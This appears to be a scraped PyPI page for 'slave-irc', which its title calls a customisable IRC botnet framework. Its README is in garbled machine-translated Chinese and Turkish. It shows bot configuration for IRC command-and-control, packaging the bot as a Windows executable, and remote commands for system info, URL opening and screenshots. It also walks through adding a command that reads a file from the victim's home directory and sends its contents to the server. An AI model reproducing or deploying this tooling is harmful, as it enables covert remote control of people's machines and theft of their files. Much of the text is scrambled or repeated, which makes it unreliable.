基于irc的可定制僵尸网络框架

slave-irc的Python项目详细描述


从机

奴隶,python ile yaz_lm_zelle_tirilebilir bot olu_turmaya yarayan bir yaz_l_md_r.IRCprotokolüzerinden,yaz_lan botlar ile haberle_ir。

尤克莱姆

皮皮勒库鲁姆

$ pip install slave-irc

局部库鲁姆

$ git clone https://github.com/bufgix/slave
$ cd slave
$ python setup.py install

从机,gerek可执行文件dosya olu_turmada gerekse ba_ml_kl_lar_kurmadapipenvi kullan_r.pipenvhakk_ndaha fazla bilgiyeburadanula_abirirsiniz。

库伦m

波托鲁图尔马盆地

# basic_bot.pyfromslave.lib.botimportBotV2config={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotV2.read_config_from_dict(config)BotV2.start()

config

KeyValue
^{}IRC server (varsayılan ^{})
^{}IRC server portu (varsayılan ^{})
^{}Bağlanılacak kanal ismi. (varsayılan ^{})
^{}Botları yönetecek kullanıcın ismi (varsayılan ^{})
^{}Bot ön eki (varsayılan ^{})

圣多西娅·图尔玛


奴隶,Direkt Olarak_al_t_rabilir dosya olu_turman_za olanak saglar。布努亚帕伦PyInstaller库兰r.

Yukar_da Yazd_m_z Botu_al_t_r_labilir dosya Yapmak i_in:

$ python -m slave basic_bot.py
[i] Source: C:\Users\user\your_bot\basic_bot.py
[i] Creating executable file...
[*] Created executable file. Check C:\Users\user\path\your_bot\dist

奥卢·安南{}迪齐尼尼·安达{}多西亚斯·阿特·库兰·马哈兹

basic_bot.exeyi_al_t_rd_ktan Sonra 5-10 Saniye i_indeconfigde Belirledi_ekilde irc'ye ba_r.

布拉丹sonra configde beilledi bos_nameile ayn_olaak irc服务器ve channel'e girin。埃米尔·维梅耶·巴雷亚比利尔辛尼兹。

不合格品

奴隶,奴隶

$info bfr24s
$visit bfr24s https://google.com

吉比。Komuttan Sonraki ilk parametre generate verece ghoinin botun idsini al_r.e_er bün botlara bu komutu vermek istiyorsan_zbot_idyerine/allYazabilirisiniz.

$visit /all https://google.com

BOtV2在Sa_lad_komutlar ve kullan_mlar_a_a_daki Gibidir

CommandDescSyntax
quitKill bot^{}
infoInformation of bot machine^{}
messageMessage show with tkinter^{}
visitOpen url with webbroser^{}
screenshotTake sceenshot and send your email(Only Gmail)^{}
helpHelp text of command^{}

博特拉·恩茨·赫尔·耶尔登·约内特比利西尼兹

肯迪·科穆特拉姆·亚扎尔·姆?

奴隶,肯迪泽尔·博图努祖·亚兹曼·萨马拉。Bunu Yapmak i_i n Bots_n_f_n_n @register减速器'unu Kullanman_z gerekir。

imdi kendimiz bir komut yazal_m.yazaca_m_z komut argüman olak verdi_imiz dosya ismini okuyup i_indekileri servera g_ndersin.Komutun sóz Dizimi_yle Olsun公司。

$read [/all | <bot_id>] <file_name>
# bot_custom.pyfromslave.lib.botsimportBotBasicconfig={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotBasic.read_config_from_dict(config)BotBasic.bot_type="MyCustomBot"@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):passBotBasic.start()

绿绿绿绿党{}亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲。拉尔。on_connect=bu,e_e r true ise yazd_n_z komut servera ba_land_anda_al_l_r.help_text=ise komutumuzun imzas_d_r.burada komutun nas_l kullan_laca_hakk_bilnda gi verebiliniz。

komut fonksyonu iki parametre almak zorundad_r.birinci parametre olak Botobjesi al_r.bu server ile bot aras_nda ileti_imi sa_lar。

bot.send_text(text: str) -> None

服务器文本Mesaj_góndermeyi Sa_lar。

bot.exit_server() -> None

Botun服务器dan Ayr_lmas_n_sa_lar

bot.send_command_help() -> None

奥兰·科穆特拉夫·比尔吉列里尼·塞尔瓦·根德尔。

kinci argüman olan args argüman listensini al_r.

img

imdi komutumuzu yazmaya devam edelim

frompathlibimportPath...@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):path=str(Path(f"~/{args[1]}").expanduser())withopen(path,'r')asf:bot.send_text(f.read())...

她的“Ey Haz”R.Imdi试验等。

$ python bot_custom.py

file.txt

Im secret
Don't read me

img

塔比·多斯耶·奥库姆达南斯·瓦尔·奥卢普·奥尔马德·恩·康特罗尔·埃特梅克·内姆利迪尔。奥尔玛雅博多西亚埃里梅耶萨尔博特,塞尔拉哈伯勒梅耶凯塞克蒂尔酒店(Servla Haberle_meyi Kesecektir)。

Yukardakiórnekte daha az komut oldu_unu górmüsünüzdür.bunun nedeniBotBasics_n_n_nBotV2ye góre daha az komut i_mesi.赫姆肯迪·科穆特拉·恩·兹·赫姆·德BotV2德基·斯坦达特·科穆特拉·比尔·蒂尔梅克·伊辛

fromslave.lib.botsimportBotBasic,BotV2...BotBasic.use_other_bot_commands(BotV2)BotBasic.start()

img

博图努祖·哈兹·奥尔杜奥努努杜努努努努努努努约尔桑·阿尔茨美术馆(Botunuzun Haz_r Oldu_unu dünyorsan_z Art_kçalıştırılabilir dosyaYapabilirsiniz)。

许可证:MIT

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
java JPanel不会对键绑定做出反应   当时间大于零时,不得在UI线程上调用java Await   JTextArea的java线程安全。追加   Java用户输入的字和行计数器   java以spreedsheat格式将数据保存到文件中   java构造函数的意义是什么?   java findViewById返回null,尽管组件的ID存在   java如何向按钮添加图像   java如何中断ExecutorService的线程   java如何将属性(例如枚举)绑定到不同类型的组件属性(例如每个枚举的映像)?   随机森林分类器的java实现   html使用java连接到一个站点并发布,HTTP状态代码200   从类访问属性时发生java编译错误   Java自动填充ArrayList,搜索更好的选项